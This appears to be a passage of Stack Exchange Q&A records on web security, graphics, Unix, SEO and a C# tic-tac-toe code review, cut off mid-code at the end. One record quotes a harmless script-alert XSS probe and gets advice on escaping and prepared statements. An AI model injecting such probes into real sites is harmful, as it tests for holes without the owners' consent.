because I think this is a solid approach and a very fast one. And if I had to use other ways, the scripts would probably consume the same time that is here exchanged by size.But now I have the serious problem of XSS attacks. I'm trying to prevent only attacks based on text, not images or JavaScript because I will not have untrusted data there.The solution I find is based on the last example, and looks like this:$str = <script>alert('XSS attack');</script>;$ad_title = chunk_split($str,1,<span style='font-size:0px;'>.</span>);So when the page loads the users will see the inserted text and the alert will not work:<script>alert('fabio');</script>This is the source code:<<span style='font-size:0px;'>.</span>s<span style='font-size:0px;'>.</span>c<span style='font-size:0px;'>.</span>r<span style='font-size:0px;'>.</span>i<span style='font-size:0px;'>.</span>p<span style='font-size:0px;'>.</span>t<span style='font-size:0px;'>.</span>><span style='font-size:0px;'>.</span>a<span style='font-size:0px;'>.</span>l<span style='font-size:0px;'>.</span>e<span style='font-size:0px;'>.</span>r<span style='font-size:0px;'>.</span>t<span style='font-size:0px;'>.</span>(<span style='font-size:0px;'>.</span>'<span style='font-size:0px;'>.</span>f<span style='font-size:0px;'>.</span>a<span style='font-size:0px;'>.</span>b<span style='font-size:0px;'>.</span>i<span style='font-size:0px;'>.</span>o<span style='font-size:0px;'>.</span>'<span style='font-size:0px;'>.</span>)<span style='font-size:0px;'>.</span>;<span style='font-size:0px;'>.</span><<span style='font-size:0px;'>.</span>/<span style='font-size:0px;'>.</span>s<span style='font-size:0px;'>.</span>c<span style='font-size:0px;'>.</span>r<span style='font-size:0px;'>.</span>i<span style='font-size:0px;'>.</span>p<span style='font-size:0px;'>.</span>t<span style='font-size:0px;'>.</span>><span style='font-size:0px;'>.</span>Without being concerned about all the code it produces, my question is: is this enough or actually safe?" , "title": "Is this safe against major XSS attacks?" , "tags": "javascript;html;security" , "accepted_answer": "Is it safe? Maybe. Is it the right way to do it? No.Even if it were safe, theres a big problem with the SQL, and thats that youre inserting the dots after escaping, rather than before. I notice that for the input ', it will be escaped to \\', and then your dot-insertion turns it into \\.'.. Before, the \\ was escaping the ', but now it isnt. Now its escaping the .. I dont know if a malicious entity could do anything bad with that, but I wouldnt take any chances.And here are some problems with the HTML:Copy-and-pasting will catch those dots.Search engines will catch those dots.You break any Unicode characters, e.g. you turn into ?.?.?.?.?.?.?.?.?.. (But I only have an old version of PHP installed; maybe newer versions are more intelligent, but in that case, you might have other problems like putting a combining character onto your >)And thats not to mention the gigantic size increase, and potentially having invalid HTML all around, its just not a very good way to do it.So whats the right way to do it? Well, for inserting data into the database, you should be using PDO with prepared statements. Then you dont have to deal with SQL escaping at all: you prepare a query with placeholders, and send in the placeholder data, and since the data doesnt have to touch the query, you dont have to worry about that at all.Sidebar: using PDOYou said that itd be a lot of work to use PDO. Well, Ive never found it particularly difficult. Your code perhaps looks like this:mysql_connect('localhost', 'myapp', 'letmein');mysql_select_db('myapp');// ...mysql_query(insert into users (firstname, lastname, email) values ('$firstname', '$lastname', '$email'));But its not actually that hard to use PDO. That code could be translated to use prepared statements and PDO like so:$db = new PDO('mysql:host=localhost;dbname=myapp', 'myapp', 'letmein');// ...$stmt = $db->prepare('insert into users (firstname, lastname, email) values (:firstname, :lastname, :email)');$stmt->bindValue('firstname', $_POST['firstname']); // look ma, no escaping!$stmt->bindValue('lastname', $_POST['lastname']);$stmt->bindValue('email', $_POST['email']);$stmt->execute();And besides being more secure, youre also moving onto something that the PHP developers have committed to keep in place: the mysql_* functions will be removed, as the PHP documentation says:Warning: This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information.End of sidebarOn the HTML side, using htmlentities or htmlspecialchars is the standard way to do it.Then, finally, Id like to point out one thing about how youre accessing POST data: youre currently using $_POST[firstname]. Its supposed to be an expression thats between the brackets, but you have the name of the field literally in there. It turns out that thats okay currently, as undefined constants evaluate to their name. But that does generate a notice, and depending on your error reporting level, you will probably see lots of notices in your error log saying that this is bad and/or deprecated. You should explicitly quote it: $_POST['firstname']." } { "id": "_computergraphics.1566" , "question": "I'm in the process of making a tool that requires rendered texture to follow the contours of a piece of clothing. An example would be this website https://knyttan.com/editor/jumper-editor/. The effect here is achieved by using a colour map:I looked at the shaders that are used for this and it seems that the texture offset is calculated based on the colour channels from this map. Now I was wondering if this is a complete bespoke way of doing this, or if this is a known technique and if it is what is it called ?" , "title": "Help me find out what this texture mapping technique is called" , "tags": "texture;webgl" , "accepted_answer": "What you see in the image called a UV map. That is, it is simply texture coordinates to be looked up encoded in a image. Same thing happens in all texture lookup in 3D there is a underlying sampler that picks where to pick texture color from.Image 1: Image showing UV map of two overlapped triangles and sampled texture with same UV coordsHere are the sources for those images, please do not overwrite the sources.Demo showing the UV mapDemo showing the texture" } { "id": "_webmaster.71164" , "question": "I have a site at a big hosting company and I checked the apache log generated by the site and I saw requests like this in it:GET hostname/~username/proj/favicon.ico HTTP/1.1Where hostname is the hostname of the site, username is my username at the hosting company, and proj is the directory where the site is hosted.What surprises me is that the request shows the actual directory structure instead of the actual request (GET hostname/favicon.ico HTTP/1.1). Is this normal? Shouldn't it show the actual HTTP request, instead of this translated request path?I find it strange that the actual HTTP request does not appear in the log at all. Surely, the browsers don't know my username and the project directory at the hosting company, so it can't be the actual HTTP request what the client made." , "title": "Is it normal when the request line of apache log contains a ~username component?" , "tags": "apache;apache log files" } { "id": "_cstheory.19906" , "question": "A language $L$ is calledi) locally testable in the strict sense iff there exists $P, S, I \\subseteq X^*$ such that$$ w \\in L \\mbox{ iff } pref^k(w) \\in P, suffix^k(w) \\in S, infix^k(w) \\subseteq I.$$for some $k > 0$.ii) locally testable iff for $u,v \\in X^*$ the following holds:If $pref^k(u) = pref^k(v), suffix^k(u) = suffix^k(v), infix^k(u) = infix^k(v)$ then$$ u \\in L \\mbox{ iff } v \\in L.$$Meaning if two words coincide in there infixes, suffix and prefix up to a specific length $k > 0$ then they are either both in the language or they are both not.iii) the class of locally testable events with order is defined as the smallest class of languages containing the locally testable languages and closed under the boolean operations union, intersection and complementation. (this could be equivalently defined with locally testable in the strict sense instead of locally testable)In what sense do they differ, that iii) contains more languages is clear, for example the language which contains for example $00$ followed by $01$ is in iii) but not in ii) or i) I think (because it involves some kind of order in requiring that $01$ need to follow $00$), but in what sense are ii) and i) different, what is a languge contained in ii) but no in i)?" , "title": "Difference between locally testable and it's boolean closure" , "tags": "fl.formal languages;automata theory" , "accepted_answer": "In ii), you say that $u$ being in $L$ can be deduced only by knowing $pref^k(u)$, $inf^k(u)$ and $suff^k(u)$.This mean that $L$ can be given by a set $E\\subseteq (X^*\\times 2^{X^*}\\times X^*)$, namely $u\\in L$ iff $(pref^k(u),inf^k(u),suff^k(u))\\in E$.The reason why condition i) is stronger is because it forces $E$ to be of the form $P\\times 2^I\\times S$.An example of a language which is in ii) but not i) is therefore given by $E=\\{ (a,X^*,a), a\\in X\\}$. This means that $L$ is just the language of words whose last letter is equal to the first. $L$ is locally testable with $k=1$ for condition ii), but it is not for any $k$ for condition i)." } { "id": "_unix.320795" , "question": "I have a cluster of 23 machines. CentOS 6.7 They have been successfully authenticating to AD via SSSD for over a year.Unbeknownst to me, someone moved one computer out of the search base OU and renamed it from lowercase to uppercase. It is now the only machine that cannot authenticate to AD.sssd.conf has case_sensitive = false ive also changed ldap_sasl_authid from lowercase to upper to match AD but still cannot connect after clearing /var/lib/sss/db and sssd restart. getent passwd only shows local accounts.When compared to other machines that are still authenticating, every service and config file is the same.Getting pushback from network folks on the rename. Is there any way to make this work ? " , "title": "SSSD not authenticating to AD" , "tags": "active directory;sssd" } { "id": "_softwareengineering.279798" , "question": "I'm creating a web application that is visually enormous. I'm talking 2 million pixels wide and 2 million pixels tall (about). My goal is to show dynamically changing spots all over the site. For loading's sake, would it be best to load a single large, low quality image per screen view? or show about 2000 html elements per screen view?I have about 255 sections on the site, each section is 120,390px square. I only show the correct section on the screen, which means I would only ever see 4 sections at a time. Inside of these sections I have little spots that are about 30px square. each little square is being pulled from a database to get the color, which could potentially change at any time. But these squares are only pulled when the user's view goes there. So at most, it would show around 2-3000 squares. Again, would it be less processing power and faster to load a single picture (let's say the picture is about 5000px wide, with the colors on it, it would be around 50k at low quality) or would it be faster/better to load every square individually?" , "title": "Web App - Better to load Large, low quality image or many html elements?" , "tags": "html;image processing" } { "id": "_unix.268378" , "question": "While reading about environment variables, the one I came across was LOGNAME, I'd like to know the difference between this variable and whatever the command logname returns - as both of them did differ in what they returned.-bash-3.2$ lognameuser11-bash-3.2$ echo $LOGNAMEuser1Although, whoami returns the same user as LOGNAME-bash-3.2$ whoamiuser1" , "title": "Difference between logname and $LOGNAME" , "tags": "users;environment variables;whoami" , "accepted_answer": "logname goes up the user that owns the tty (by reading it from /var/run/utmp), while $LOGNAME is an env variable that contains the user that executes the current shell process. You can easily verify this with the following commands:# ssh guido@localhost# whoamiguido# wUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHATguido pts/3 localhost 13:02 0.00s 0.12s 0.03s sshd: guido [priv]# echo $LOGNAMEguido# sudo su$ whoamiroot$ echo $LOGNAMEroot$ lognameguido$ ps aux | grep bashroot 1145 0.5 0.1 110176 3604 pts/3 S 13:11 0:00 bashroot 1161 0.0 0.0 103304 844 pts/3 S+ 13:11 0:00 grep bashguido 28363 0.0 0.1 110048 3516 pts/3 Ss 13:02 0:00 -bash" } { "id": "_webmaster.38084" , "question": "Last week I moved all the images on coffeeandvanilla.com to a cdn( maxcdn.coffeeandvanilla.com ).The problem I'm having is that although the sitemapgenerated by Yoast WordPress SEO pluginpoints images to the correct location, Google only indexes[sic] images from the category and page site maps but 0 images from the posts sitemap( see screenshot https://dl.dropbox.com/u/4635252/sitemap.png )This website has been doing quite well with Google image-search before the change, visits from Google image search have dropped from ~200/day to 11 yesterdayHere is an example entry from the generated posts.xml sitemap http://pastebin.com/vcMRf9VWCan anyone suggest where the problem lies? Why have I lost all my google image juice? Should I just wait some more, how long before really worrying?" , "title": "Images not indexed by google since moving to cdn" , "tags": "seo;google;images;google image search" , "accepted_answer": "Have you tried updating Yoast? It did have a rather nasty image sitemap bug:1.2.8 Bug fixes: Fix for images not showing up in XML sitemap1.EDIT: Final answerI suspected that may be the case. I can't take any credit for this, but please find someone with the same problem and the resultant solution from the Yoast plugin creator:function wpseo_cdn_filter( $uri ) { return str_replace( 'http://example.com', 'http://cdn.example.com', $uri ); } add_filter( 'wpseo_xml_sitemap_img_src', 'wpseo_cdn_filter' );CDN Images in Sitemap" } { "id": "_unix.293739" , "question": "I have a few PDF files which suffer the problem shown in the image:(the blue part is mouse-selected, the right part in black is how the entire document looks!)I tried /prepressing and even -dSUBSTFONTing them with ghostscript but it didn't help, and I'm clueless now.Any suggestions? ... Thanks." , "title": "evince: Bad PDF font rendering" , "tags": "fonts;pdf;evince;ghostscript" } { "id": "_unix.42877" , "question": "I am working on some batch scripts involving the following:Run some non-terminating sub-processes (asynchronously)Wait for t secondsPerform other task X for some timeTerminate subprocessesIdeally, I would like to be able to differentiate the stdout of the sub-processes which has been emitted before X from that which has been emitted after X.A few ideas come to mind, although I have no idea as to how I would implement them:Discard stdout for t secondsInsert some text (for instance, 'Task X started') to visually separate the sectionsSplit stdout into various output streams" , "title": "Discard stdout of a command for t seconds" , "tags": "shell script;process management;stdout" , "accepted_answer": "While you could complicate the matter with exec and extra file descriptor wrangling, your second suggestion is the simplest. Before starting X, echo a marker string into the log file.All those commands would be appending to the same file, so maybe it would be a good idea to prepend all output of X with a marker, so you can tell apart its output from the one of the still running previous commands. Something along the lines of:{ X; } | sed 's,^,[X say] ,'This would make further analysis much simpler. It is not safe and for very verbose programs, race conditions would happen often.If you're willing to take the chance to break one log line and can interrupt the first batch of apps without consequence, this would work too:{ Y; } >> log &sleep $tkill -STOP %% # last job, like the same as %1echo -e \\nX started >> logkill -CONT %%{ X; } >> log2" } { "id": "_codereview.159399" , "question": "I took the source code from this question, (thank you gaessaki for the motivation!) and did a lot of refactoring.I use 4 projects:Common: contains mainly interfaces and enumerations referenced by otherprojects.Model: Knows nothing of the others, just maintains the game logic and state.Presenter: References the Model directly and accesses the View via the IView interface. Acts as mediator between them.View: References the Presenter. Is pretty dumb, can only query the board situation and the game status and display them. For every action (playing a move, restarting, etc.) it simply informs the presenter.The View is actually the executable project who references all others and in its Program.cs instantiates a Model, a View, a Presenter and connects them. But other than that, the visual components only touch the presenter. I did not want to create another project just to this instantiation.The intention is to be able to interchange the view (e.g. use console or WPF), keeping the model and the presenter.I appreciate your comments. I have experience with C# and programming in general, but not with MVP. I think, I tend to overcomplicate the design.Help classesExceptionBuilderusing System;namespace Mfanou.Common { public static class ExceptionBuilder { public static void CheckArgumentRangeInclusive(string varName, int value, int lowerRange, int upperRange) { if (value < lowerRange || value > upperRange) throw new ArgumentOutOfRangeException(varName); } }}CommonGameAction enumerationnamespace Mfanou.TicTacToe.Common { public enum GameAction { Restart, Exit }}Move enumerationnamespace Mfanou.TicTacToe.Common { public enum Move { ShowPreview, HidePreview, Play }}IPlayernamespace Mfanou.TicTacToe.Common { public interface IPlayer { int Id { get; } }}ISquareContentnamespace Mfanou.TicTacToe.Common { public interface ISquareContent { bool IsEmpty { get; } /// <summary> /// Player whose piece is on the square. /// Valid only when IsEmpty is false. /// </summary> IPlayer Player { get; } /// <summary> /// True if the piece is a move preview. /// Valid only when IsEmpty is false. /// </summary> bool IsPiecePreview { get; } /// <summary> /// True if the piece is part of a game-winning piece sequence. /// Valid only when IsEmpty is false. /// </summary> bool IsWinning { get; } }}SquarePositionusing Mfanou.Common; namespace Mfanou.TicTacToe.Common { public class SquarePosition { public static readonly int ROWCOL_MIN = 1; public static readonly int ROWCOL_MAX = 3; public SquarePosition(int row, int col) { CheckRowColRange(nameof(row), row); CheckRowColRange(nameof(col), col); Row = row; Column = col; } public int Row { get; } public int Column { get; } public override bool Equals(object obj) { if (obj == null || GetType() != obj.GetType()) return false; return Equals((SquarePosition)obj); } public bool Equals(SquarePosition sp) => Row == sp.Row && Column == sp.Column; public override int GetHashCode() => 1024 * Row.GetHashCode() + Column.GetHashCode(); private void CheckRowColRange(string varName, int value) { ExceptionBuilder.CheckArgumentRangeInclusive(varName, value, ROWCOL_MIN, ROWCOL_MAX); } } }IGameStatusnamespace Mfanou.TicTacToe.Common { public interface IGameStatus { bool IsOver { get; } /// <summary>Valid only when IsEmpty is true.</summary> bool IsTie { get; } /// <summary>Valid only when IsEmpty is true and IsTie is false.</summary> IPlayer WinningPlayer { get; } }}IViewnamespace Mfanou.TicTacToe.Common { public interface IView { void RefreshBoard(); bool ConfirmAction(GameAction action); void Exit(); }}ModelGame (main class, it being the actual model)using Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model { public class Game { public Game() { MoveFactory = new MoveFactory(this); GameActionFactory = new GameActionFactory(this); Board = new Board(); Turn = new Turn<IPlayer>(Player.GetAll()); new RestartAction(this).Execute(); } public event Action OnExit; public IGameStatus Status => InternalStatus; public MoveFactory MoveFactory { get; private set; } public GameActionFactory GameActionFactory { get; private set; } public ISquareContent GetSquareContent(SquarePosition position) => Board.GetSquare(position).Content; internal Board Board { get; } internal Turn<IPlayer> Turn { get; } internal GameStatus InternalStatus { get; set; } internal void Exit() { OnExit?.Invoke(); } internal void UpdateStatus() { InternalStatus = StatusJudge.GetStatus(Board); } }}Boardusing Mfanou.TicTacToe.Common;using System.Collections.Generic;using System.Linq;namespace Mfanou.TicTacToe.Model { internal class Board { public Board() { _squares = new List<Square>(); Reset(); } public IEnumerable<Square> Squares => _squares; public IEnumerable<IEnumerable<Square>> RowsColumnsAndDiagonals => Rows.Concat(Columns).Concat(Diagonals); public Square GetSquare(SquarePosition position) => _squares.Where(sq => sq.Position.Equals(position)).Single(); public void Reset() { _squares.Clear(); for (int r = SquarePosition.ROWCOL_MIN; r <= SquarePosition.ROWCOL_MAX; r++) for (int c = SquarePosition.ROWCOL_MIN; c <= SquarePosition.ROWCOL_MAX; c++) _squares.Add(new Square(new SquarePosition(r, c))); } private List<Square> _squares; private IEnumerable<IEnumerable<Square>> Rows => Squares.GroupBy(sq => sq.Position.Row); private IEnumerable<IEnumerable<Square>> Columns => Squares.GroupBy(sq => sq.Position.Column); private IEnumerable<IEnumerable<Square>> Diagonals { get { // Top left - bottom right diagonal: row equals column. yield return Squares.Where(sq => sq.Position.Row == sq.Position.Column); // Bottom left - top right diagonal: sum of row and column is constant. yield return Squares.Where(sq => sq.Position.Row + sq.Position.Column == SquarePosition.ROWCOL_MAX + SquarePosition.ROWCOL_MIN); } } }}GameAction subdirTo the GameAction enumeration in common corresponds a simple hierarchy of action classes deriving from the GameAction abstract class.The Presenter uses the GameFactory provided by Game to translate the GameAction enum to a GameAction descendant class and then ask for a confirmation and/or execute it.GameActionusing System.Linq;namespace Mfanou.TicTacToe.Model { public abstract class GameAction { public GameAction(Game game) { Game = game; } public bool NeedsConfirmation() { if (Game.InternalStatus.IsOver) return false; bool boardHasMoves = Game.Board.Squares.Any((sq) => sq.Content.HasMove); return boardHasMoves; } public abstract void Execute(); protected Game Game { get; } }}ExitActionnamespace Mfanou.TicTacToe.Model { internal class ExitAction : GameAction { internal ExitAction(Game game) : base(game) {} public override void Execute() { Game.Exit(); } }}RestartActionnamespace Mfanou.TicTacToe.Model { internal class RestartAction : GameAction { internal RestartAction(Game game) : base(game) {} public override void Execute() { Game.Board.Reset(); Game.Turn.Reset(); Game.UpdateStatus(); } }}GameActionFactoryusing System;namespace Mfanou.TicTacToe.Model { public class GameActionFactory { public GameActionFactory(Game game) { _game = game; } public GameAction CreateGameAction(Common.GameAction action) { GameAction gameAction; switch (action) { case Common.GameAction.Restart: gameAction = new RestartAction(_game); break; case Common.GameAction.Exit: gameAction = new ExitAction(_game); break; default: throw new NotImplementedException(); } return gameAction; } private Game _game; }}GameStatus subdirGameStatususing Mfanou.TicTacToe.Common;using System;using System.Collections.Generic;namespace Mfanou.TicTacToe.Model { internal class GameStatus : IGameStatus { public static GameStatus Running() { return new GameStatus() { _isOver = false }; } public static GameStatus Tie() { return new GameStatus() { _isOver = true, _isTie = true }; } public static GameStatus Winner(IPlayer winner, IEnumerable<SquarePosition> winningSquares) { return new GameStatus() { _isOver = true, _isTie = false, _winner = winner, _winningSquares = winningSquares }; } public bool IsOver => _isOver; /// <exception cref=InvalidOperationException>When game is not over.</exception> public bool IsTie { get { if (!IsOver) throw new InvalidOperationException(); return _isTie; } } /// <exception cref=InvalidOperationException>When game is not over, or is a tie.</exception> public IPlayer WinningPlayer { get { if (!IsOver || IsTie) throw new InvalidOperationException(); return _winner; } } /// <exception cref=InvalidOperationException>When game is not over, or is a tie.</exception> public IEnumerable<SquarePosition> WinningSquares { get { if (!IsOver || IsTie) throw new InvalidOperationException(); return _winningSquares; } } private GameStatus() {} private bool _isOver; private bool _isTie; private IPlayer _winner; private IEnumerable<SquarePosition> _winningSquares; }}StatusJudgeusing Mfanou.TicTacToe.Common;using System.Collections.Generic;using System.Linq;namespace Mfanou.TicTacToe.Model { /// <summary>Contains logic for getting the game status.</summary> internal static class StatusJudge { public static GameStatus GetStatus(Board board) { // For each row, column, diagonal... foreach (IEnumerable<Square> squares in board.RowsColumnsAndDiagonals) { IEnumerable<SquarePosition> positions = squares.Select((sq) => sq.Position); IEnumerable<SquareContent> contents = squares.Select((sq) => sq.Content); // ...if all its squares are covered by the same player, it's a win. SquareContent singleContent = contents.Distinct().Count() == 1 ? contents.First() : null; if (singleContent != null && singleContent.HasMove) return GameStatus.Winner(singleContent.Player, positions); } bool isBoardFull = board.Squares.All((sq) => sq.Content.HasMove); return isBoardFull ? GameStatus.Tie() : GameStatus.Running(); } }}Move subdirTo the Move enumeration in Common corresponds here a class hierarchy deriving from the abstract Move class. The logic whether the move is allowed and its effects is thus extracted from the Game class.The presenter uses the MoveFactory provided from the Game to translate the Move enumeration to a Move class descendant which then can query for allowing and executing a move requested by the form.Moveusing Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model { public abstract class Move { public Move(Game game, SquarePosition position) { Game = game; Position = position; } public SquarePosition Position { get; } public abstract bool CanExecute(); public void Execute() { if (!CanExecute()) throw new InvalidOperationException(); DoExecute(); } protected Game Game; protected abstract void DoExecute(); }}ShowPreviewMoveusing Mfanou.TicTacToe.Common;using System.Linq;namespace Mfanou.TicTacToe.Model { internal class ShowPreviewMove : Move { public ShowPreviewMove(Game game, SquarePosition position) : base(game, position) {} public override bool CanExecute() { // No other preview should exist on the board. if (Game.Board.Squares.Any(sq => !sq.Content.IsEmpty && sq.Content.IsPiecePreview)) return false; // Square should be empty. return Game.Board.GetSquare(Position).Content.IsEmpty; } protected override void DoExecute() { Game.Board.GetSquare(Position).Content = SquareContent.WithPiecePreview(Game.Turn.Current); } }}HidePreviewMoveusing Mfanou.TicTacToe.Common;namespace Mfanou.TicTacToe.Model { internal class HidePreviewMove : Move { public HidePreviewMove(Game game, SquarePosition position) : base(game, position) {} public override bool CanExecute() { var targetContent = Game.Board.GetSquare(Position).Content; return !targetContent.IsEmpty && targetContent.IsPiecePreview; } protected override void DoExecute() { Game.Board.GetSquare(Position).Content = SquareContent.Empty(); } }}PlayMoveusing Mfanou.TicTacToe.Common;using System.Linq;namespace Mfanou.TicTacToe.Model { internal class PlayMove : Move { public PlayMove(Game game, SquarePosition position) : base(game, position) {} public override bool CanExecute() { // If there is a preview, it can only be played in the previewed square. var previewSquare = Game.Board.Squares. Where(sq => !sq.Content.IsEmpty && sq.Content.IsPiecePreview).SingleOrDefault(); if (previewSquare != null) return previewSquare.Position.Equals(Position); // No preview: It can only be played in an empty square. return Game.Board.GetSquare(Position).Content.IsEmpty; } protected override void DoExecute() { Game.Board.GetSquare(Position).Content = SquareContent.WithPiece(Game.Turn.Current); Game.UpdateStatus(); if (Game.InternalStatus.IsOver) { // If this move just won the game, highlight the winning squares. if (!Game.InternalStatus.IsTie) Game.InternalStatus.WinningSquares.ToList(). ForEach(sp => Game.Board.GetSquare(sp).Content = SquareContent.WithPieceWinning(Game.Turn.Current)); } else Game.Turn.MoveToNext(); } }}MoveFactoryusing Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model { public class MoveFactory { public MoveFactory(Game game) { _game = game; } public Move CreateMove(Common.Move action, SquarePosition position) { Move move; switch (action) { case Common.Move.ShowPreview: move = new ShowPreviewMove(_game, position); break; case Common.Move.HidePreview: move = new HidePreviewMove(_game, position); break; case Common.Move.Play: move = new PlayMove(_game, position); break; default: throw new NotImplementedException(); } return move; } private Game _game; }}Player subdirPlayerusing Mfanou.TicTacToe.Common;using System.Collections.Generic;namespace Mfanou.TicTacToe.Model { internal class Player : IPlayer { public static IEnumerable<IPlayer> GetAll() { for (int i=1; i<=NUM_PLAYERS; i++) yield return new Player(i); } public int Id { get; } public override bool Equals(object obj) { if (obj == null || GetType() != obj.GetType()) return false; return Equals((Player)obj); } public bool Equals(Player p) { return (Id == p.Id); } public override int GetHashCode() { return Id.GetHashCode(); } private static readonly int NUM_PLAYERS = 2; private Player(int id) { Id = id; } }}Turnusing Mfanou.TicTacToe.Common;using System.Collections.Generic;using System.Linq;namespace Mfanou.TicTacToe.Model { internal class Turn<T> { public Turn(IEnumerable<T> players) { _players = players.ToArray(); Reset(); } public IEnumerable<T> Players => _players; public T Current => _players[_indexCurrent]; public void Reset() { _indexCurrent = 0; } public void MoveToNext() { _indexCurrent++; if (_indexCurrent >= _players.Length) _indexCurrent = 0; } private T[] _players; private int _indexCurrent; }}Square subdirSquareusing Mfanou.TicTacToe.Common;namespace Mfanou.TicTacToe.Model { internal class Square { public Square(SquarePosition position) { Position = position; Content = SquareContent.Empty(); } public SquarePosition Position { get; } public SquareContent Content { get; set; } }}SquareContentusing Mfanou.TicTacToe.Common;using System;namespace Mfanou.TicTacToe.Model { internal class SquareContent : ISquareContent { public static SquareContent Empty() { return new SquareContent() { IsEmpty = true }; } public static SquareContent WithPiece(IPlayer player) { return new SquareContent() { IsEmpty = false, Player = player }; } public static SquareContent WithPiecePreview(IPlayer player) { return new SquareContent() { IsEmpty = false, Player = player, IsPiecePreview = true }; } public static SquareContent WithPieceWinning(IPlayer player) { return new SquareContent() { IsEmpty = false, Player = player, IsWinning = true }; } public bool IsEmpty { get; private set; } public bool HasMove => !IsEmpty && !IsPiecePreview; /// <exception cref=InvalidOperationException>When the square is empty.</exception> public IPlayer Player { get { if (IsEmpty) throw new InvalidOperationException(); return _player; } private set { _player = value; } } public bool IsPiecePreview { get { if (IsEmpty) throw new InvalidOperationException(); return _isPreview; } private set { _isPreview = value; } } public bool IsWinning { get { if (IsEmpty) throw new InvalidOperationException(); return _isWinning; } private set { _isWinning = value; } } public override bool Equals(object obj) { if (obj == null || GetType() != obj.GetType()) return false; return Equals((SquareContent)obj); } public bool Equals(SquareContent sc) { if (IsEmpty && sc.IsEmpty) return true; if (!IsEmpty && !sc.IsEmpty && Player == sc.Player && IsPiecePreview == sc.IsPiecePreview) return true; // Exactly one of {this,sc} IsEmpty. return false; } public override int GetHashCode() { return IsEmpty ? IsEmpty.GetHashCode() : IsEmpty.GetHashCode() * 1024 + Player.GetHashCode(); } public SquareContent Clone() { var sc = new SquareContent(); sc.IsEmpty = IsEmpty; if (!IsEmpty) { sc.Player = Player; sc.IsPiecePreview = IsPiecePreview; sc.IsWinning = IsWinning; } return sc; } private SquareContent() {} private IPlayer _player; private bool _isPreview; private bool _isWinning; }}PresenterGamePresenterusing Mfanou.TicTacToe.Common;using Mfanou.TicTacToe.Model;namespace Mfanou.TicTacToe.Presenter { public class GamePresenter { public GamePresenter(Game model, IView view) { Model = model; Model.OnExit += ExitGame; View = view; } public IGameStatus GameStatus => Model.Status; public ISquareContent GetSquareContent(SquarePosition position) => Model.GetSquareContent(position); public void RequestAction(Common.GameAction action) { Model.GameAction gameAction = Model.GameActionFactory.CreateGameAction(action); if (gameAction.NeedsConfirmation() && !View.ConfirmAction(action)) return; gameAction.Execute(); View.RefreshBoard(); } public void RequestMove(Common.Move action, SquarePosition position) { Model.Move move = Model.MoveFactory.CreateMove(action, position); if (!move.CanExecute()) return; move.Execute(); View.RefreshBoard(); } private Game Model { get; set; } private IView View { get; set; } private void ExitGame() { View.Exit(); } }}ViewProgram.csusing Mfanou.TicTacToe.Model;using Mfanou.TicTacToe.Presenter;using System;using System.Windows.Forms;namespace Mfanou.TicTacToe.UI.WinForms { internal static class Program { [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(CreateMainForm()); } static Form CreateMainForm() { var model = new Game(); var view = new TicTacToeForm(); var presenter = new GamePresenter(model, view); view.Presenter = presenter; return view; } }}TicTacToeFormusing Mfanou.TicTacToe.Common;using Mfanou.TicTacToe.Presenter;using Mfanou.UI.Winforms;using System;using System.Drawing;using System.Windows.Forms;namespace Mfanou.TicTacToe.UI.WinForms { public partial class TicTacToeForm : MyForm, IView { public TicTacToeForm() { InitializeComponent(); Size = VisualFormatter.FormDefaultSize; MinimumSize = VisualFormatter.FormMinimumSize; Text = VisualFormatter.GAME_TITLE; CreateMainPanel(); CreateMenu(); FormClosing += Form_Closing; } public GamePresenter Presenter { get { return _presenter; } set { _presenter = value; RefreshBoard(); } } public bool ConfirmAction(GameAction action) => VisualFormatter.ConfirmAction(action); public void RefreshBoard() { var status = Presenter.GameStatus; BoardPanel.Enabled = !status.IsOver; foreach (Control ctrl in BoardPanel.Controls) VisualFormatter.FormatSquare(ctrl, Presenter.GetSquareContent(GetSquarePosition(ctrl))); ResultLabel.Text = VisualFormatter.GameResult(status); } public void Exit() { _formOrderedToClose = true; Close(); } private GamePresenter _presenter; private bool _formOrderedToClose = false; private TableLayoutPanel BoardPanel; private Label ResultLabel; private void CreateMenu() { var RestartSubmenuItem = new ToolStripMenuItem() { Text = &Restart, ShortcutKeys = Keys.Control | Keys.N, }; var ExitSubmenuItem = new ToolStripMenuItem() { ShortcutKeys = Keys.Control | Keys.X, Text = E&xit, }; var GameMenuItem = new ToolStripMenuItem() { Text = &Game }; GameMenuItem.DropDownItems.AddRange(new ToolStripItem[] { RestartSubmenuItem, ExitSubmenuItem }); var LicenseSubmenuItem = new ToolStripMenuItem() { Text = &License }; var HelpMenuItem = new ToolStripMenuItem() { Text = &Help }; HelpMenuItem.DropDownItems.AddRange(new ToolStripItem[] { LicenseSubmenuItem }); MainMenuStrip = new MenuStrip(); Controls.Add(MainMenuStrip); MainMenuStrip.Items.AddRange(new ToolStripItem[] { GameMenuItem, HelpMenuItem }); RestartSubmenuItem.Click += RestartToolStripMenuItem_Click; ExitSubmenuItem.Click += ExitToolStripMenuItem_Click; LicenseSubmenuItem.Click += LicenseToolStripMenuItem_Click; } private void CreateMainPanel() { var MainPanel = new TableLayoutPanel() { Dock = DockStyle.Fill, Margin = new Padding(0) }; Controls.Add(MainPanel); MainPanel.RowStyles.Add(new RowStyle(SizeType.Percent, 100)); MainPanel.RowStyles.Add(new RowStyle(SizeType.Absolute, 20)); BoardPanel = CreateBoardPanel(); MainPanel.Controls.Add(BoardPanel, column: 0, row: 0); ResultLabel = CreateResultLabel(); MainPanel.Controls.Add(ResultLabel, column: 0, row: 1); } private TableLayoutPanel CreateBoardPanel() { var panel = new TableLayoutPanel() { Dock = DockStyle.Fill, Margin = new Padding(0), }; int size = SquarePosition.ROWCOL_MAX - SquarePosition.ROWCOL_MIN + 1; Construct2DGridInPanel(panel, size); return panel; } private void Construct2DGridInPanel(TableLayoutPanel panel, int size) { panel.ColumnCount = size; panel.RowCount = size; for (int i = 0; i < size; i++) { panel.ColumnStyles.Add(new ColumnStyle(SizeType.Percent, 100)); panel.RowStyles.Add(new RowStyle(SizeType.Percent, 100)); } for (int row = 0; row < size; row++) for (int col = 0; col < size; col++) panel.Controls.Add(CreateSquare(), row, col); } private Control CreateSquare() 